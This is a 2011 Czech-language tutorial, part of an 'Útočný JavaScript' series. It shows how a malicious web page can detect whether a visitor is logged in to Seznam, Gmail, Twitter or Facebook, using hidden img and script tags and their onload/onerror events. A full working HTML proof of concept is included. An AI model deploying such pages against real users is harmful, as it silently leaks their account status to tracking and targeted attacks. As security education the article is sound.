Zpět na seznam článků     Číst komentáře (17)     Verze pro tisk

Útočný JavaScript (3)

Autor: .cCuMiNn.   
4.2.2011

V tomto dílu si ukážeme, jakým způsobem je možné pomocí JavaScriptu rozhodnout, zda je uživatel přihlášen ke svému účtu v určité webové aplikaci.


Kódy jsou tentokrát převzaty ze stránek Mikeho Cardwella. Pomocí JavaScriptu budeme nyní pouze ošetřovat výskyt událostí onload nebo onerror. Na zbytek nám pak bude stačit čisté HTML.

Princip spočívá v rozdílném chování webových aplikací k přihlášeným a nepřihlášeným uživatelům. Na Seznamu nebo Googlu jsou například některé obrázky z uživatelských profilů přístupné pouze přihlášeným uživatelům. Ostatní uživatelé jsou při pokusu o načtení takového obrázku přesměrováni na stránku pro přihlášení.

Útočníkovi tedy nic nebrání v tom, aby do své webové stránky vložil tag <img> a na základě výskytu jedné z událostí onload nebo onerror rozhodl, zda je, nebo není uživatel k aplikaci přihlášen. Uvedený postup, který se snaží načíst obrázek, je funkčí ve všech rozšířených prohlížečích.

Na Facebooku je zase možné využít skutečnosti, že při pokusu o získání některých www stránek je nepřihlášeným uživatelům vrácena chybová stránka se stavovým kódem 403(404), kdežto přihlášeným uživatelům je zobrazen jejich obsah.. Kód pro Twitter funguje naopak na základě toho, že je vrácena chybová stránka přihlášeným uživatelům, pokud žádají neexistující dokument. Nepřihlášení jsou ale při pokusu o načtení i neexistujícího dokumentu přesměrováni na přihlašovací stránku.

Zda je vrácen chybový stavový kód HTTP (403, 404, 406, 500), nebo obsah webové stránky, je možné testovat například pomocí tagu <script>, který se na daný dokument odkáže ve svém atributu src. Opět pak už jen zbývá otestovat, zda načtení vyvolá událost onload nebo onerror. Uvedené je ovšem funkčí pouze u prohížečů Firefox, Chrome a Safari. Internet Explorer a Opera jsou striktnější v dodržování hlavičky Content-type, kde ve spojení s tagem <script> očekávají hodnotu text/javascript. Při pokusu o načtení HTML dokumentu ovšem obdrží hodnotu text/html, což u těchto prohlížečů vede k vyvolání události onerror.

  1.  
  2. <html>
  3.   <head>
  4.     <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  5.     <meta http-equiv="Content-Language" content="cs">
  6.     <link rel="StyleSheet" href="http://www.soom.cz/base.css" type="text/css">
  7.   </head>
  8.   <body>
  9.     <script>  
  10.       function writeLogged(site) {
  11.         var item = document.createElement('li');
  12.         var text = document.createElement('p');
  13.         text.innerHTML = site;
  14.         item.appendChild(text);
  15.         document.getElementById('logged').appendChild(item);
  16.       }
  17.       function writeNotLogged(site) {
  18.         var item = document.createElement('li');
  19.         var text = document.createElement('p');
  20.         text.innerHTML = site;
  21.         item.appendChild(text);
  22.         document.getElementById('notlogged').appendChild(item);
  23.       }
  24.     </script>
  25.  
  26.     <H3>Přihlášen k účtům</H3>
  27.     <ul id="logged"></ul>
  28.     <H3>Nepřihlášen</H3>
  29.     <ul id="notlogged"></ul>
  30.  
  31.     <img style="display:none;"
  32.      onload="writeLogged('Seznam')"
  33.      onerror="writeNotLogged('Seznam')"
  34.      src="http://email.seznam.cz/image?2d955c04600e5f82686d5d3bdb9902b7"/>
  35.  
  36.     <img style="display:none;"
  37.      onload="writeLogged('Gmail')"
  38.      onerror="writeNotLogged('Gmail')"
  39.      src="https://mail.google.com/mail/photos/static/AD34hIhNx1pdsCxEpo6LavSR8dYSmSi0KTM1pGxAjRio47pofmE9RH7bxPwelO8tlvpX3sbYkNfXT7HDAZJM_uf5qU2cvDJzlAWxu7-jaBPbDXAjVL8YGpI"/>
  40.  
  41.     <script type="text/javascript"
  42.      src="https://twitter.com/account/use_phx?setting=false&amp;format=text"
  43.      onload="writeNotLogged('Twitter')"
  44.      onerror="writeLogged('Twitter')"
  45.      async="async">
  46.     </script>
  47.  
  48.     <script type="text/javascript"
  49.      src="https://www.facebook.com/imike3"
  50.      onload="writeLogged('Facebook')"
  51.      onerror="writeNotLogged('Facebook')"
  52.      async="async">
  53.     </script>
  54.  
  55.   </body>
  56. </html>

Činnost skriptu demonstruje následující rám:





Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.62/8

1  2  3  4  5    
(známkování jako ve škole)